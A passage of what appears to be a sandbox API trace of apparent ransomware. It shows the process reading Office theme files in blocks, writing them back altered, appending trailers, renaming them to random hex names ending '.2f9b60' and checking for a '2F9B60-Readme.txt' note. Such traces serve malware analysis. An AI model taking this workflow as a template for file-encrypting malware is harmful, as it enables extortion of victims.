returned 0x61ff0fee [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x1b41fe44 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x769a4717 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x889f868 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x2cbb48d8 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x9cdf20e [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x63cf897f [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x5572359 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x5ab59261 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x1477030a [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x6dfcf808 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x68d6565d [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x41207b80 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x76772535 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x15096194 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x437308d [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x63f6b055 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x4936c790 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x155c1ef8 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x6d02e2c [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x8973612 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x6a40db56 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x300b5110 [0110.675] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x54531e83 [0110.687] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.687] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3337f680, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesRead=0x3337f680*=0x3c00, lpOverlapped=0x0) returned 1 [0110.689] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b80 [0110.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b80) returned 1 [0110.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0110.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b80 [0110.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0110.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0110.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.690] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3337f680, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x3337f680*=0x3c00, lpOverlapped=0x0) returned 1 [0110.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0110.693] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x4ec00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.693] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3337f680, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesRead=0x3337f680*=0x3c00, lpOverlapped=0x0) returned 1 [0110.695] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x4ec00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0110.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0110.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0110.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0110.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77f0) returned 1 [0110.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.696] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3337f680, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x3337f680*=0x3c00, lpOverlapped=0x0) returned 1 [0110.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0110.701] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x93287, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.702] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3337f680, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesRead=0x3337f680*=0x3c00, lpOverlapped=0x0) returned 1 [0110.722] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x93287, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77f0) returned 1 [0110.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5f0f0 [0110.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0110.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7580) returned 1 [0110.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.723] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3337f680, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x3337f680*=0x3c00, lpOverlapped=0x0) returned 1 [0110.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0110.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9400 [0110.727] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.727] WriteFile (in: hFile=0x15e0, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x3337f730, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x3337f730*=0x14e, lpOverlapped=0x0) returned 1 [0110.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7af0 [0110.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7af0) returned 1 [0110.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a7af0 [0110.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b20 [0110.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7640 [0110.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7640) returned 1 [0110.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd971c0 [0110.730] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="de") returned 2 [0110.730] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="a8") returned 2 [0110.730] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="68") returned 2 [0110.730] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="57") returned 2 [0110.730] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="21") returned 2 [0110.730] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="1f") returned 2 [0110.730] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="68") returned 2 [0110.730] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="09") returned 2 [0110.730] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="91") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="eb") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="37") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="19") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="24") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="40") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="f9") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="bc") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="2a") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="4a") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="7b") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="5c") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="13") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="40") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="bf") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="bb") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="4d") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="52") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="b2") returned 2 [0110.731] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="50") returned 2 [0110.731] RtlInitAnsiString (in: DestinationString=0x3337f7a8, SourceString="dea86857211f680991eb37192440f9bc2a4a7b5c1340bfbb4d52b250" | out: DestinationString="dea86857211f680991eb37192440f9bc2a4a7b5c1340bfbb4d52b250") [0110.731] RtlAnsiStringToUnicodeString (in: DestinationString=0x3337f778, SourceString="dea86857211f680991eb37192440f9bc2a4a7b5c1340bfbb4d52b250", AllocateDestinationString=1 | out: DestinationString="dea86857211f680991eb37192440f9bc2a4a7b5c1340bfbb4d52b250") returned 0x0 [0110.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b86a1c0 [0110.732] wcscat (in: _Dest=0x20279a30, _Source="dea86857211f68" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dea86857211f68") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dea86857211f68" [0110.732] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dea86857211f68.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dea86857211f68.2f9b60" [0110.732] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dea86857211f68.2f9b60", NtPathName=0x3337f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dea86857211f68.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776af0 [0110.732] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x3337f7f0, FileInformation=0x1b776af0, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0110.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0110.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.734] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x3337f7b8, FileInformation=0x3337f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3337f7b8, FileInformation=0x3337f7c8) returned 0x0 [0110.734] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x3337f7b8, FileInformation=0x3337f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.735] FlushFileBuffers (hFile=0x15e0) returned 1 [0110.747] CloseHandle (hObject=0x15e0) returned 1 [0110.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.748] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.748] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64790) returned 1 Thread: id = 1059 os_tid = 0x1734 [0110.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 0x20 [0110.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx", dwFileAttributes=0x20) returned 1 [0110.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0110.699] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x334af7a0 | out: lpFileSize=0x334af7a0*=42917) returned 1 [0110.699] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0xa7a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.699] ReadFile (in: hFile=0x1574, lpBuffer=0x334af720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x334af768, lpOverlapped=0x0 | out: lpBuffer=0x334af720*, lpNumberOfBytesRead=0x334af768*=0x4, lpOverlapped=0x0) returned 1 [0110.702] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0110.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0110.702] NtQuerySystemTime (in: CurrentTime=0x334af660 | out: CurrentTime=0x334af660*=132462177161806000) returned 0x0 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x33967b70 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x1791a3a3 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x70e2dd9a [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0xcf08ff1 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x77093a9 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x530d49c4 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x7f85d250 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x6ecb1c3b [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x32c7478a [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x2bc3f3ee [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0xc23d6c8 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x1227da82 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x7d83d145 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x3e4b10c0 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x6dfcf808 [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x4248c0ad [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x52b5bdcf [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x37eeb38c [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x4a7f32db [0110.703] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x2f4552b9 [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x7b7396f3 [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x565ae917 [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x39e58e51 [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x5f6072d9 [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x56e27390 [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x1f7a73bd [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x50941c1b [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x136ab3b4 [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x7ce4843b [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x6bc95b0a [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x46882312 [0110.704] RtlRandomEx (in: Seed=0x334af650 | out: Seed=0x334af650) returned 0x63f8742 [0110.716] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.716] ReadFile (in: hFile=0x1574, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x334af6c0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x334af6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.724] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0110.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7580) returned 1 [0110.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0110.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0110.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0110.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a30) returned 1 [0110.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.725] WriteFile (in: hFile=0x1574, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x334af6c0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x334af6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0110.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a7670 [0110.728] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.728] WriteFile (in: hFile=0x1574, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x334af770, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x334af770*=0x106, lpOverlapped=0x0) returned 1 [0110.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0110.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76d0) returned 1 [0110.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0110.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0110.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0110.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ac0) returned 1 [0110.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f070 [0110.742] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="48") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="ea") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="88") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="2d") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="9d") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="f3") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="82") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="08") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="5e") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="ea") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="80") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="51") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="00") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="11") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="ad") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="b8") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="fa") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="34") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="e5") returned 2 [0110.742] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="4c") returned 2 [0110.742] RtlInitAnsiString (in: DestinationString=0x334af7e8, SourceString="48ea882d9df382085eea80510011adb8fa34e54c" | out: DestinationString="48ea882d9df382085eea80510011adb8fa34e54c") [0110.743] RtlAnsiStringToUnicodeString (in: DestinationString=0x334af7b8, SourceString="48ea882d9df382085eea80510011adb8fa34e54c", AllocateDestinationString=1 | out: 